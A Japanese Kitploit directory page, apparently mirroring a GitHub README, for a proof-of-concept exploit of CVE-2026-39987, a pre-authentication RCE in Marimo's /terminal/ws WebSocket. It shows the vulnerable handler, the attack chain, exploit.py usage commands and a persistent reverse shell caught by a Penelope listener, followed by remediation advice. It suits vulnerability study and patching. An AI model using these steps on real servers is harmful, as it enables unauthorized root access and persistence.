Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39987 — 0.23.0 より前の Marimo のエクスプロイト。websocket エンドポイント /terminal/ws を介した事前認証 RCE の脆弱性。 | Kitploit
ツール/GitHubGitHub/gbuyssens/cve-2026-39987
ペイロード生成エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストリモートアクセスツール
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

0.23.0 より前の Marimo のエクスプロイト。websocket エンドポイント /terminal/ws を介した事前認証 RCE の脆弱性。

リポジトリを見る
18日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39987 — Marimo 事前認証RCE(/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Marimo(リアクティブなPythonノートブックサーバー)における事前認証のリモートコード実行。
認証されていない単一のWebSocket接続を /terminal/ws へ送るだけで、Marimoプロセスを実行しているユーザー(Dockerでは多くの場合 root)として、完全な対話型のPTYシェルを取得できます。

ラボ/許可を得たテスト専用です(HTB、CTF、書面によるスコープを含むエンゲージメント)。


目次

  • 脆弱性の概要
  • 根本原因
  • 攻撃チェーン
  • 影響を受けるバージョン
  • このリポジトリについて
  • インストール
  • 使い方
  • Penelope統合
  • 修復策
  • 参考情報

脆弱性の概要

Marimo は統合ターミナルをWebSocket経由で公開しています。

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

他のWebSocketルート(特にノートブックUI用の /ws)は正しく validate_auth() を呼び出します。
しかし /terminal/ws は呼び出しません。確認するのは次の項目だけです。

  1. サーバーが編集モードであること
  2. プラットフォームがPTYをサポートしていること

その後、すぐに次の処理が実行されます。

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

インスタンスで認証が有効になっている場合でも、Cookie、トークン、パスワード、Authorization ヘッダーは一切不要です。

影響: Marimoプロセスの権限による、認証不要の任意コマンド実行。標準のコンテナイメージでは、これは多くの場合 root です。


根本原因

ファイル(脆弱なツリー): marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

認証を強制しているノートブック用WebSocket(ws_endpoint.py)と比較してください。

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

攻撃チェーン

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. 認証情報なしで ws(s)://target/terminal/ws に接続する
  2. サーバーが接続を受け入れ、PTYバックアップのシェルを起動する
  3. WebSocket経由でキーストローク(コマンド)を送信する
  4. 必要に応じて、WS切断後も生き残るデタッチされたリバースシェルを起動する

影響を受けるバージョン

ステータスバージョン
脆弱性ありMarimo <= 0.20.4(修正前)
修正済みMarimo 0.23.0 以降

外部認証ゲートウェイなしでターミナルWebSocketを公開しているデプロイメント(編集モード、PTYサポート)はすべて対象となります。


このリポジトリについて

ファイル役割
exploit.pyPoC: コマンド実行+持続的リバースシェル+Penelopeランチャー
penelope.pyスタンドアロンのシェルハンドラー(brightio/penelope)
README.mdこのファイル

インストール

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py は追加の依存関係は不要です(Python 3.6+ 標準ライブラリのみ)。


使い方

1. ワンショットのコマンド実行

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

処理の流れ:

  1. フォークした子プロセスが短時間待機し、/terminal/ws 経由でデタッチされたリバースシェルを届ける
  2. 親プロセスは 0.0.0.0:4444 上でPenelopeをexecする
  3. コールバックが届くと、Penelopeが自動的にセッションへ接続し、TTYにアップグレードする

必要に応じて

root@kitploit:~
python3 exploit.py -h

Penelope統合

Penelope はスタンドアロンスクリプト(penelope.py)としてバンドルされています。

  • インストール不要、標準ライブラリのみ
  • マルチセッションハンドラー
  • 自動TTYアップグレード
  • ファイルのアップロード/ダウンロード、ログ記録など

デフォルトのフロー(-p):

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

子プロセスを使うのは意図的です: os.execv(penelope) は親プロセスのイメージを置き換えるため、バックグラウンドスレッドが殺されてしまいます。

手動でPenelopeを使う場合:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

修復策

  1. Marimoを >= 0.23.0 にアップグレードする(pip install -U marimo)
  2. 編集モードのノートブックサーバーをパブリックインターネットに公開しない
  3. アプリをリモートで使う必要がある場合は、リバースプロキシで認証・認可を実施する
  4. localhost/プライベートネットワークにバインドし、VPNまたはSSHトンネルを使用する
  5. 悪用が疑われる場合: ホストから到達可能な認証情報(クラウドキー、.env、SSHキー)をローテーションし、外向き接続と永続化を監査する

参考情報

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo fix PR #9098
  • Resecurity analysis
  • Penelope shell handler

免責事項

このプロジェクトは許可を得たセキュリティテスト、教育、防御研究のみを目的としています。
適用される法律およびラボやクライアントのエンゲージメントルールを遵守する責任はすべて利用者にあります。

ツールをダウンロード